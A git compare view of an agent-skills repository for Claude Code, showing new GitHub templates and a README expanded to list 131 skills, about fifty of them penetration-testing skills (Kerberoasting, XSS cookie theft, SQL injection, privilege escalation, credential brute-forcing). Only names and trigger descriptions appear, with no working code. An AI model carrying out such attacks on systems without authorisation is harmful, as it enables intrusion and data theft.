Compare commits
18 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
95eeb1dd4b | ||
|
|
b1e4d61715 | ||
|
|
d17e7bc767 | ||
|
|
450a8a95a5 | ||
|
|
7a14904fd3 | ||
|
|
59a349075e | ||
|
|
d8b9ac19b2 | ||
|
|
68a457b96b | ||
|
|
98756d75ae | ||
|
|
4ee569d5d5 | ||
|
|
8a4b4383e8 | ||
|
|
9d09626fd2 | ||
|
|
014da3e744 | ||
|
|
113bc99e47 | ||
|
|
3e46a495c9 | ||
|
|
faf478f389 | ||
|
|
266cbf4c6c | ||
|
|
f8eaf7bd50 |
8
.github/CODEOWNERS
vendored
Normal file
8
.github/CODEOWNERS
vendored
Normal file
@@ -0,0 +1,8 @@
|
||||
# Global owners
|
||||
* @sickn33
|
||||
|
||||
# Skills
|
||||
/skills/ @sickn33
|
||||
|
||||
# Documentation
|
||||
*.md @sickn33
|
||||
33
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
33
.github/ISSUE_TEMPLATE/bug_report.md
vendored
Normal file
@@ -0,0 +1,33 @@
|
||||
---
|
||||
name: Bug Report
|
||||
about: Create a report to help us improve the skills
|
||||
title: "[BUG] "
|
||||
labels: bug
|
||||
assignees: sickn33
|
||||
---
|
||||
|
||||
**Describe the bug**
|
||||
A clear and concise description of what the bug is.
|
||||
|
||||
**To Reproduce**
|
||||
Steps to reproduce the behavior:
|
||||
|
||||
1. Go to '...'
|
||||
2. Click on '...'
|
||||
3. Scroll down to '...'
|
||||
4. See error
|
||||
|
||||
**Expected behavior**
|
||||
A clear and concise description of what you expected to happen.
|
||||
|
||||
**Screenshots**
|
||||
If applicable, add screenshots to help explain your problem.
|
||||
|
||||
**Environment (please complete the following information):**
|
||||
|
||||
- OS: [e.g. macOS, Windows]
|
||||
- Tool: [e.g. Claude Code, Antigravity]
|
||||
- Version [if known]
|
||||
|
||||
**Additional context**
|
||||
Add any other context about the problem here.
|
||||
19
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
19
.github/ISSUE_TEMPLATE/feature_request.md
vendored
Normal file
@@ -0,0 +1,19 @@
|
||||
---
|
||||
name: Skill Request
|
||||
about: Suggest a new skill for the collection
|
||||
title: "[REQ] "
|
||||
labels: enhancement
|
||||
assignees: sickn33
|
||||
---
|
||||
|
||||
**Is your feature request related to a problem? Please describe.**
|
||||
A clear and concise description of what the problem is. Ex: I'm always frustrated when [...]
|
||||
|
||||
**Describe the solution you'd like**
|
||||
A description of the skill you want. What trigger should it have? What files should it effect?
|
||||
|
||||
**Describe alternatives you've considered**
|
||||
A clear and concise description of any alternative solutions or features you've considered.
|
||||
|
||||
**Additional context**
|
||||
Add any other context or screenshots about the feature request here.
|
||||
18
.github/PULL_REQUEST_TEMPLATE.md
vendored
Normal file
18
.github/PULL_REQUEST_TEMPLATE.md
vendored
Normal file
@@ -0,0 +1,18 @@
|
||||
## Description
|
||||
|
||||
Please describe your changes. What skill are you adding or modifying?
|
||||
|
||||
## Checklist
|
||||
|
||||
- [ ] My skill follows the [creation guidelines](https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/skill-creator)
|
||||
- [ ] I have run `validate_skills.py`
|
||||
- [ ] I have added my name to the credits (if applicable)
|
||||
|
||||
## Type of Change
|
||||
|
||||
- [ ] New Skill
|
||||
- [ ] Bug Fix
|
||||
- [ ] Documentation Update
|
||||
- [ ] Infrastructure
|
||||
|
||||
## Screenshots (if applicable)
|
||||
6
.gitignore
vendored
Normal file
6
.gitignore
vendored
Normal file
@@ -0,0 +1,6 @@
|
||||
|
||||
MAINTENANCE.md
|
||||
walkthrough.md
|
||||
.agent/rules/
|
||||
.gemini/
|
||||
LOCAL_CONFIG.md
|
||||
182
README.md
182
README.md
@@ -1,17 +1,17 @@
|
||||
# 🌌 Antigravity Awesome Skills
|
||||
# 🌌 Antigravity Awesome Skills: The Ultimate Claude Code Skills Collection
|
||||
|
||||
> **The Ultimate Collection of 60+ Agentic Skills for Claude Code (Antigravity)**
|
||||
> **The Ultimate Collection of 130+ Agentic Skills for Claude Code (Antigravity)**
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
[](https://claude.ai)
|
||||
[](https://github.com/guanyang/antigravity-skills)
|
||||
|
||||
**Antigravity Awesome Skills** is a curated, battle-tested collection of **62 high-performance skills** compatible with both **Antigravity** and **Claude Code**, including official skills from **Anthropic** and **Vercel Labs**.
|
||||
**Antigravity Awesome Skills** is the ultimate **Claude Code Skills** collection—a curated, battle-tested library of **131 high-performance skills** compatible with both **Antigravity** and **Claude Code**. This repository provides the essential **Claude Code skills** needed to transform your AI assistant into a full-stack digital agency, including official capabilities from **Anthropic** and **Vercel Labs**.
|
||||
|
||||
## 📍 Table of Contents
|
||||
|
||||
- [Features & Categories](#features--categories)
|
||||
- [Full Skill Registry](#full-skill-registry-6262)
|
||||
- [Full Skill Registry](#full-skill-registry-131131)
|
||||
- [Installation](#installation)
|
||||
- [How to Contribute](#how-to-contribute)
|
||||
- [Credits & Sources](#credits--sources)
|
||||
@@ -25,66 +25,126 @@ This repository aggregates the best capabilities from across the open-source com
|
||||
|
||||
The repository is organized into several key areas of expertise:
|
||||
|
||||
| Category | Skills Included |
|
||||
| :----------------------- | :------------------------------------------------------------------------------------- |
|
||||
| **🎨 Creative & Design** | UI/UX Pro Max, Frontend Design, Canvas, Algorithmic Art, Theme Factory, D3 Viz |
|
||||
| **🛠️ Development** | TDD, Systematic Debugging, Webapp Testing, Backend/Frontend Guidelines, React Patterns |
|
||||
| **🛡️ Cybersecurity** | Ethical Hacking, AWS Pentesting, OWASP Top 100, Pentest Checklists |
|
||||
| **🛸 Autonomous** | **Loki Mode** (Startup-in-a-box), Subagent Orchestration, Parallel Execution |
|
||||
| **📈 Strategy** | Product Manager Toolkit, Content Creator, ASO, Doc Co-authoring, Brainstorming |
|
||||
| **🏗️ Infrastructure** | Linux Shell Scripting, Git Worktrees, Conventional Commits, File Organization |
|
||||
| Category | Skills Count | Key Skills Included |
|
||||
| :-------------------------- | :----------- | :--------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **🛡️ Cybersecurity** | **~50** | Ethical Hacking, Metasploit, Burp Suite, SQLMap, Active Directory, AWS/Cloud Pentesting, OWASP Top 100, Red Team Tools |
|
||||
| **🛠️ Development** | **~25** | TDD, Systematic Debugging, React Patterns, Backend/Frontend Guidelines, Senior Fullstack, Software Architecture |
|
||||
| **🎨 Creative & Design** | **~10** | UI/UX Pro Max, Frontend Design, Canvas, Algorithmic Art, Theme Factory, D3 Viz, Web Artifacts |
|
||||
| **🤖 AI & LLM Development** | **~8** | LLM App Patterns, Autonomous Agent Patterns, Prompt Engineering, Prompt Library, JavaScript Mastery, Bun Development |
|
||||
| **🛸 Autonomous & Agentic** | **~8** | Loki Mode (Startup-in-a-box), Subagent Driven Dev, Dispatching Parallel Agents, Planning With Files, Skill Creator/Developer |
|
||||
| **📄 Document Processing** | **~4** | DOCX (Official), PDF (Official), PPTX (Official), XLSX (Official) |
|
||||
| **📈 Product & Strategy** | **~8** | Product Manager Toolkit, Content Creator, ASO, Doc Co-authoring, Brainstorming, Internal Comms |
|
||||
| **🏗️ Infrastructure & Git** | **~8** | Linux Shell Scripting, Git Worktrees, Git Pushing, Conventional Commits, File Organization, GitHub Workflow Automation |
|
||||
| **🔄 Workflow & Planning** | **~6** | Writing Plans, Executing Plans, Concise Planning, Verification Before Completion, Code Review (Requesting/Receiving) |
|
||||
| **🧪 Testing & QA** | **~4** | Webapp Testing, Playwright Automation, Test Fixing, Testing Patterns |
|
||||
|
||||
---
|
||||
|
||||
## Full Skill Registry (62/62)
|
||||
## Full Skill Registry (131/131)
|
||||
|
||||
Below is the complete list of available skills. Each skill folder contains a `SKILL.md` that can be imported into Antigravity or Claude Code.
|
||||
|
||||
> [!NOTE] > **Document Skills**: We provide both **community** and **official Anthropic** versions for DOCX, PDF, PPTX, and XLSX. Locally, the official versions are used by default (via symlinks). In the repository, both versions are available for flexibility.
|
||||
|
||||
| Skill Name | Description | Path |
|
||||
| :------------------------------- | :------------------------------------------------------------ | :--------------------------------------------- |
|
||||
| **Algorithmic Art** | Creative generative art using p5.js and seeded randomness. | `skills/algorithmic-art` |
|
||||
| **App Store Optimization** | Complete ASO toolkit for iOS and Android app performance. | `skills/app-store-optimization` |
|
||||
| **AWS Pentesting** | Specialized security assessment for Amazon Web Services. | `skills/aws-penetration-testing` |
|
||||
| **Backend Guidelines** | Core architecture patterns for Node/Express microservices. | `skills/backend-dev-guidelines` |
|
||||
| **Brainstorming** | Requirement discovery and intent exploration framework. | `skills/brainstorming` |
|
||||
| **Brand Guidelines (Anthropic)** | Official Anthropic brand styling and visual standards. | `skills/brand-guidelines-anthropic` ⭐ NEW |
|
||||
| **Brand Guidelines (Community)** | Community-contributed brand guidelines and templates. | `skills/brand-guidelines-community` |
|
||||
| **Canvas Design** | Beautiful static visual design in PDF and PNG. | `skills/canvas-design` |
|
||||
| **Claude D3.js** | Advanced data visualization with D3.js. | `skills/claude-d3js-skill` |
|
||||
| **Content Creator** | SEO-optimized marketing and brand voice toolkit. | `skills/content-creator` |
|
||||
| **Core Components** | Design system tokens and baseline UI patterns. | `skills/core-components` |
|
||||
| **Doc Co-authoring** | Structured workflow for technical documentation. | `skills/doc-coauthoring` |
|
||||
| **DOCX (Official)** | Official Anthropic MS Word document manipulation. | `skills/docx-official` ⭐ NEW |
|
||||
| **Ethical Hacking** | Comprehensive penetration testing lifecycle methodology. | `skills/ethical-hacking-methodology` |
|
||||
| **Frontend Design** | Production-grade UI component implementation. | `skills/frontend-design` |
|
||||
| **Frontend Guidelines** | Modern React/TS development patterns and file structure. | `skills/frontend-dev-guidelines` |
|
||||
| **Git Pushing** | Automated staging and conventional commits. | `skills/git-pushing` |
|
||||
| **Internal Comms (Anthropic)** | Official Anthropic corporate communication templates. | `skills/internal-comms-anthropic` ⭐ NEW |
|
||||
| **Internal Comms (Community)** | Community-contributed communication templates. | `skills/internal-comms-community` |
|
||||
| **Kaizen** | Continuous improvement and error-proofing (Poka-Yoke). | `skills/kaizen` |
|
||||
| **Linux Shell Scripting** | Production-ready shell scripts for automation. | `skills/linux-shell-scripting` |
|
||||
| **Loki Mode** | Fully autonomous startup development engine. | `skills/loki-mode` |
|
||||
| **MCP Builder** | High-quality Model Context Protocol (MCP) server creation. | `skills/mcp-builder` |
|
||||
| **NotebookLM** | Source-grounded querying via Google NotebookLM. | `skills/notebooklm` |
|
||||
| **PDF (Official)** | Official Anthropic PDF document manipulation. | `skills/pdf-official` ⭐ NEW |
|
||||
| **Pentest Checklist** | Structured security assessment planning and scoping. | `skills/pentest-checklist` |
|
||||
| **PPTX (Official)** | Official Anthropic PowerPoint manipulation. | `skills/pptx-official` ⭐ NEW |
|
||||
| **Product Toolkit** | RICE prioritization and product discovery frameworks. | `skills/product-manager-toolkit` |
|
||||
| **Prompt Engineering** | Expert patterns for LLM instruction optimization. | `skills/prompt-engineering` |
|
||||
| **React Best Practices** | Vercel's 40+ performance optimization rules for React. | `skills/react-best-practices` ⭐ NEW (Vercel) |
|
||||
| **React UI Patterns** | Standardized loading states and error handling for React. | `skills/react-ui-patterns` |
|
||||
| **Senior Architect** | Scalable system design and architecture diagrams. | `skills/senior-architect` |
|
||||
| **Skill Creator** | Meta-skill for building high-performance agentic skills. | `skills/skill-creator` |
|
||||
| **Software Architecture** | Quality-focused design principles and analysis. | `skills/software-architecture` |
|
||||
| **Systematic Debugging** | Root cause analysis and structured fix verification. | `skills/systematic-debugging` |
|
||||
| **TDD** | Test-Driven Development workflow and red-green-refactor. | `skills/test-driven-development` |
|
||||
| **UI/UX Pro Max** | Advanced design intelligence and 50+ styling options. | `skills/ui-ux-pro-max` |
|
||||
| **Web Artifacts** | Complex React/Tailwind/Shadcn UI artifact builder. | `skills/web-artifacts-builder` |
|
||||
| **Web Design Guidelines** | Vercel's 100+ UI/UX audit rules (accessibility, performance). | `skills/web-design-guidelines` ⭐ NEW (Vercel) |
|
||||
| **Webapp Testing** | Local web application testing with Playwright. | `skills/webapp-testing` |
|
||||
| **XLSX (Official)** | Official Anthropic Excel spreadsheet manipulation. | `skills/xlsx-official` ⭐ NEW |
|
||||
| Skill Name | Description | Path |
|
||||
| :-------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | :-------------------------------------- |
|
||||
| **API Fuzzing for Bug Bounty** | This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques. | `skills/api-fuzzing-bug-bounty` |
|
||||
| **AWS Penetration Testing** | This skill should be used when the user asks to "pentest AWS", "test AWS security", "enumerate IAM", "exploit cloud infrastructure", "AWS privilege escalation", "S3 bucket testing", "metadata SSRF", "Lambda exploitation", or needs guidance on Amazon Web Services security assessment. | `skills/aws-penetration-testing` |
|
||||
| **Active Directory Attacks** | This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing. | `skills/active-directory-attacks` |
|
||||
| **Address GitHub Comments** | Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI. | `skills/address-github-comments` |
|
||||
| **Agent Manager Skill** | Use when you need to manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling. | `skills/agent-manager-skill` |
|
||||
| **Algorithmic Art** | Creating algorithmic art using p5. | `skills/algorithmic-art` |
|
||||
| **App Store Optimization** | Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store. | `skills/app-store-optimization` |
|
||||
| **Autonomous Agent Patterns** | "Design patterns for building autonomous coding agents. | `skills/autonomous-agent-patterns` |
|
||||
| **Backend Guidelines** | Comprehensive backend development guide for Node. | `skills/backend-dev-guidelines` |
|
||||
| **Brainstorming** | "You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. | `skills/brainstorming` |
|
||||
| **Brand Guidelines (Anthropic)** | Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. | `skills/brand-guidelines-anthropic` |
|
||||
| **Brand Guidelines (Community)** | Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. | `skills/brand-guidelines-community` |
|
||||
| **Broken Authentication Testing** | This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". | `skills/broken-authentication` |
|
||||
| **Bun Development** | "Modern JavaScript/TypeScript development with Bun runtime. | `skills/bun-development` |
|
||||
| **Burp Suite Web Application Testing** | This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". | `skills/burp-suite-testing` |
|
||||
| **Canvas Design** | Create beautiful visual art in . | `skills/canvas-design` |
|
||||
| **Claude Code Guide** | Master guide for using Claude Code effectively. | `skills/claude-code-guide` |
|
||||
| **Claude D3.js** | Creating interactive data visualisations using d3. | `skills/claude-d3js-skill` |
|
||||
| **Cloud Penetration Testing** | This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". | `skills/cloud-penetration-testing` |
|
||||
| **Concise Planning** | Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist. | `skills/concise-planning` |
|
||||
| **Content Creator** | Create SEO-optimized marketing content with consistent brand voice. | `skills/content-creator` |
|
||||
| **Core Components** | Core component library and design system patterns. | `skills/core-components` |
|
||||
| **Cross-Site Scripting and HTML Injection Testing** | This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". | `skills/xss-html-injection` |
|
||||
| **Dispatching Parallel Agents** | Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies. | `skills/dispatching-parallel-agents` |
|
||||
| **Doc Co-authoring** | Guide users through a structured workflow for co-authoring documentation. | `skills/doc-coauthoring` |
|
||||
| **DOCX (Official)** | "Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. | `skills/docx-official` |
|
||||
| **Ethical Hacking Methodology** | This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". | `skills/ethical-hacking-methodology` |
|
||||
| **Executing Plans** | Use when you have a written implementation plan to execute in a separate session with review checkpoints. | `skills/executing-plans` |
|
||||
| **File Organizer** | Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. | `skills/file-organizer` |
|
||||
| **File Path Traversal Testing** | This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". | `skills/file-path-traversal` |
|
||||
| **Finishing Dev Branch** | Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup. | `skills/finishing-a-development-branch` |
|
||||
| **Frontend Design** | Create distinctive, production-grade frontend interfaces with high design quality. | `skills/frontend-design` |
|
||||
| **Frontend Guidelines** | Frontend development guidelines for React/TypeScript applications. | `skills/frontend-dev-guidelines` |
|
||||
| **Git Pushing** | Stage, commit, and push git changes with conventional commit messages. | `skills/git-pushing` |
|
||||
| **GitHub Workflow Automation** | "Automate GitHub workflows with AI assistance. | `skills/github-workflow-automation` |
|
||||
| **HTML Injection Testing** | This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". | `skills/html-injection-testing` |
|
||||
| **IDOR Vulnerability Testing** | This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data. | `skills/idor-testing` |
|
||||
| **Internal Comms (Anthropic)** | A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. | `skills/internal-comms-anthropic` |
|
||||
| **Internal Comms (Community)** | A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. | `skills/internal-comms-community` |
|
||||
| **JavaScript Mastery** | "Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. | `skills/javascript-mastery` |
|
||||
| **Kaizen** | Guide for continuous improvement, error proofing, and standardization. | `skills/kaizen` |
|
||||
| **Linux Privilege Escalation** | This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". | `skills/linux-privilege-escalation` |
|
||||
| **Linux Shell Scripting** | This skill should be used when the user asks to "create bash scripts", "automate Linux tasks", "monitor system resources", "backup files", "manage users", or "write production shell scripts". | `skills/linux-shell-scripting` |
|
||||
| **LLM App Patterns** | "Production-ready patterns for building LLM applications. | `skills/llm-app-patterns` |
|
||||
| **Loki Mode** | Multi-agent autonomous startup system for Claude Code. | `skills/loki-mode` |
|
||||
| **MCP Builder** | Guide for creating high-quality MCP (Model Context Protocol) servers that enable LLMs to interact with external services through well-designed tools. | `skills/mcp-builder` |
|
||||
| **Metasploit Framework** | This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". | `skills/metasploit-framework` |
|
||||
| **Network 101** | This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring and testing network services for penetration testing labs. | `skills/network-101` |
|
||||
| **NotebookLM** | Use this skill to query your Google NotebookLM notebooks directly from Claude Code for source-grounded, citation-backed answers from Gemini. | `skills/notebooklm` |
|
||||
| **PDF (Official)** | Comprehensive PDF manipulation toolkit for extracting text and tables, creating new PDFs, merging/splitting documents, and handling forms. | `skills/pdf-official` |
|
||||
| **Pentest Checklist** | This skill should be used when the user asks to "plan a penetration test", "create a security assessment checklist", "prepare for penetration testing", "define pentest scope", "follow security testing best practices", or needs a structured methodology for penetration testing engagements. | `skills/pentest-checklist` |
|
||||
| **Pentest Commands** | This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references. | `skills/pentest-commands` |
|
||||
| **Planning With Files** | Implements Manus-style file-based planning for complex tasks. | `skills/planning-with-files` |
|
||||
| **Playwright Automation** | Complete browser automation with Playwright. | `skills/playwright-skill` |
|
||||
| **PPTX (Official)** | "Presentation creation, editing, and analysis. | `skills/pptx-official` |
|
||||
| **Privilege Escalation Methods** | This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems. | `skills/privilege-escalation-methods` |
|
||||
| **Product Toolkit** | Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. | `skills/product-manager-toolkit` |
|
||||
| **Prompt Engineering** | Expert guide on prompt engineering patterns, best practices, and optimization techniques. | `skills/prompt-engineering` |
|
||||
| **Prompt Library** | "Curated collection of high-quality prompts for various use cases. | `skills/prompt-library` |
|
||||
| **React Best Practices** | React and Next. | `skills/react-best-practices` |
|
||||
| **React UI Patterns** | Modern React UI patterns for loading states, error handling, and data fetching. | `skills/react-ui-patterns` |
|
||||
| **Receiving Code Review** | Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation. | `skills/receiving-code-review` |
|
||||
| **Red Team Tools and Methodology** | This skill should be used when the user asks to "follow red team methodology", "perform bug bounty hunting", "automate reconnaissance", "hunt for XSS vulnerabilities", "enumerate subdomains", or needs security researcher techniques and tool configurations from top bug bounty hunters. | `skills/red-team-tools` |
|
||||
| **Requesting Code Review** | Use when completing tasks, implementing major features, or before merging to verify work meets requirements. | `skills/requesting-code-review` |
|
||||
| **SMTP Penetration Testing** | This skill should be used when the user asks to "perform SMTP penetration testing", "enumerate email users", "test for open mail relays", "grab SMTP banners", "brute force email credentials", or "assess mail server security". | `skills/smtp-penetration-testing` |
|
||||
| **SQL Injection Testing** | This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". | `skills/sql-injection-testing` |
|
||||
| **SQLMap Database Penetration Testing** | This skill should be used when the user asks to "automate SQL injection testing," "enumerate database structure," "extract database credentials using sqlmap," "dump tables and columns from a vulnerable database," or "perform automated database penetration testing. | `skills/sqlmap-database-pentesting` |
|
||||
| **SSH Penetration Testing** | This skill should be used when the user asks to "pentest SSH services", "enumerate SSH configurations", "brute force SSH credentials", "exploit SSH vulnerabilities", "perform SSH tunneling", or "audit SSH security". | `skills/ssh-penetration-testing` |
|
||||
| **Security Scanning Tools** | This skill should be used when the user asks to "perform vulnerability scanning", "scan networks for open ports", "assess web application security", "scan wireless networks", "detect malware", "check cloud security", or "evaluate system compliance". | `skills/scanning-tools` |
|
||||
| **Senior Architect** | Comprehensive software architecture skill for designing scalable, maintainable systems using ReactJS, NextJS, NodeJS, Express, React Native, Swift, Kotlin, Flutter, Postgres, GraphQL, Go, Python. | `skills/senior-architect` |
|
||||
| **Senior Fullstack** | Comprehensive fullstack development skill for building complete web applications with React, Next. | `skills/senior-fullstack` |
|
||||
| **Shodan Reconnaissance and Pentesting** | This skill should be used when the user asks to "search for exposed devices on the internet," "perform Shodan reconnaissance," "find vulnerable services using Shodan," "scan IP ranges with Shodan," or "discover IoT devices and open ports. | `skills/shodan-reconnaissance` |
|
||||
| **Skill Creator** | Guide for creating effective skills. | `skills/skill-creator` |
|
||||
| **Skill Developer** | Create and manage Claude Code skills following Anthropic best practices. | `skills/skill-developer` |
|
||||
| **Slack GIF Creator** | Knowledge and utilities for creating animated GIFs optimized for Slack. | `skills/slack-gif-creator` |
|
||||
| **Software Architecture** | Guide for quality focused software architecture. | `skills/software-architecture` |
|
||||
| **Subagent Driven Dev** | Use when executing implementation plans with independent tasks in the current session. | `skills/subagent-driven-development` |
|
||||
| **Systematic Debugging** | Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes. | `skills/systematic-debugging` |
|
||||
| **TDD** | Use when implementing any feature or bugfix, before writing implementation code. | `skills/test-driven-development` |
|
||||
| **Test Fixing** | Run tests and systematically fix all failing tests using smart error grouping. | `skills/test-fixing` |
|
||||
| **Testing Patterns** | Jest testing patterns, factory functions, mocking strategies, and TDD workflow. | `skills/testing-patterns` |
|
||||
| **Theme Factory** | Toolkit for styling artifacts with a theme. | `skills/theme-factory` |
|
||||
| **Top 100 Vulnerabilities** | This skill should be used when the user asks to "identify web application vulnerabilities", "explain common security flaws", "understand vulnerability categories", "learn about injection attacks", "review access control weaknesses", "analyze API security issues", "assess security misconfigurations", "understand client-side vulnerabilities", "examine mobile and IoT security flaws", or "reference the OWASP-aligned vulnerability taxonomy". | `skills/top-web-vulnerabilities` |
|
||||
| **UI/UX Pro Max** | "UI/UX design intelligence. | `skills/ui-ux-pro-max` |
|
||||
| **Using Git Worktrees** | Use when starting feature work that needs isolation from current workspace or before executing implementation plans - creates isolated git worktrees with smart directory selection and safety verification. | `skills/using-git-worktrees` |
|
||||
| **Using Superpowers** | Use when starting any conversation - establishes how to find and use skills, requiring Skill tool invocation before ANY response including clarifying questions. | `skills/using-superpowers` |
|
||||
| **Verification Before Completion** | Use when about to claim work is complete, fixed, or passing, before committing or creating PRs - requires running verification commands and confirming output before making any success claims; evidence before assertions always. | `skills/verification-before-completion` |
|
||||
| **Web Artifacts** | Suite of tools for creating elaborate, multi-component claude. | `skills/web-artifacts-builder` |
|
||||
| **Web Design Guidelines** | Review UI code for Web Interface Guidelines compliance. | `skills/web-design-guidelines` |
|
||||
| **Webapp Testing** | Toolkit for interacting with and testing local web applications using Playwright. | `skills/webapp-testing` |
|
||||
| **Windows Privilege Escalation** | This skill should be used when the user asks to "escalate privileges on Windows," "find Windows privesc vectors," "enumerate Windows for privilege escalation," "exploit Windows misconfigurations," or "perform post-exploitation privilege escalation. | `skills/windows-privilege-escalation` |
|
||||
| **Wireshark Network Traffic Analysis** | This skill should be used when the user asks to "analyze network traffic with Wireshark", "capture packets for troubleshooting", "filter PCAP files", "follow TCP/UDP streams", "detect network anomalies", "investigate suspicious traffic", or "perform protocol analysis". | `skills/wireshark-analysis` |
|
||||
| **Workflow Automation** | "Design and implement automated workflows combining visual logic with custom code. | `skills/workflow-automation` |
|
||||
| **WordPress Penetration Testing** | This skill should be used when the user asks to "pentest WordPress sites", "scan WordPress for vulnerabilities", "enumerate WordPress users, themes, or plugins", "exploit WordPress vulnerabilities", or "use WPScan". | `skills/wordpress-penetration-testing` |
|
||||
| **Writing Plans** | Use when you have a spec or requirements for a multi-step task, before touching code. | `skills/writing-plans` |
|
||||
| **Writing Skills** | Use when creating new skills, editing existing skills, or verifying skills work before deployment. | `skills/writing-skills` |
|
||||
| **XLSX (Official)** | "Comprehensive spreadsheet creation, editing, and analysis with support for formulas, formatting, data analysis, and visualization. | `skills/xlsx-official` |
|
||||
|
||||
> [!TIP]
|
||||
> Use the `validate_skills.py` script in the `scripts/` directory to ensure all skills are properly formatted and ready for use.
|
||||
@@ -122,7 +182,9 @@ This collection would not be possible without the incredible work of the Claude
|
||||
### Official Sources
|
||||
|
||||
- **[anthropics/skills](https://github.com/anthropics/skills)**: Official Anthropic skills repository - Document manipulation (DOCX, PDF, PPTX, XLSX), Brand Guidelines, Internal Communications.
|
||||
- **[anthropics/claude-cookbooks](https://github.com/anthropics/claude-cookbooks)**: Official notebooks and recipes for building with Claude.
|
||||
- **[vercel-labs/agent-skills](https://github.com/vercel-labs/agent-skills)**: Vercel Labs official skills - React Best Practices, Web Design Guidelines.
|
||||
- **[openai/skills](https://github.com/openai/skills)**: OpenAI Codex skills catalog - Agent skills, Skill Creator, Concise Planning.
|
||||
|
||||
### Community Contributors
|
||||
|
||||
@@ -131,8 +193,14 @@ This collection would not be possible without the incredible work of the Claude
|
||||
- **[diet103/claude-code-infrastructure-showcase](https://github.com/diet103/claude-code-infrastructure-showcase)**: Infrastructure and Backend/Frontend Guidelines.
|
||||
- **[ChrisWiles/claude-code-showcase](https://github.com/ChrisWiles/claude-code-showcase)**: React UI patterns and Design Systems.
|
||||
- **[travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills)**: Loki Mode and Playwright integration.
|
||||
- **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite.
|
||||
- **[zebbern/claude-code-guide](https://github.com/zebbern/claude-code-guide)**: Comprehensive Security suite & Guide (Source for ~60 new skills).
|
||||
- **[alirezarezvani/claude-skills](https://github.com/alirezarezvani/claude-skills)**: Senior Engineering and PM toolkit.
|
||||
- **[karanb192/awesome-claude-skills](https://github.com/karanb192/awesome-claude-skills)**: A massive list of verified skills for Claude Code.
|
||||
|
||||
### Inspirations
|
||||
|
||||
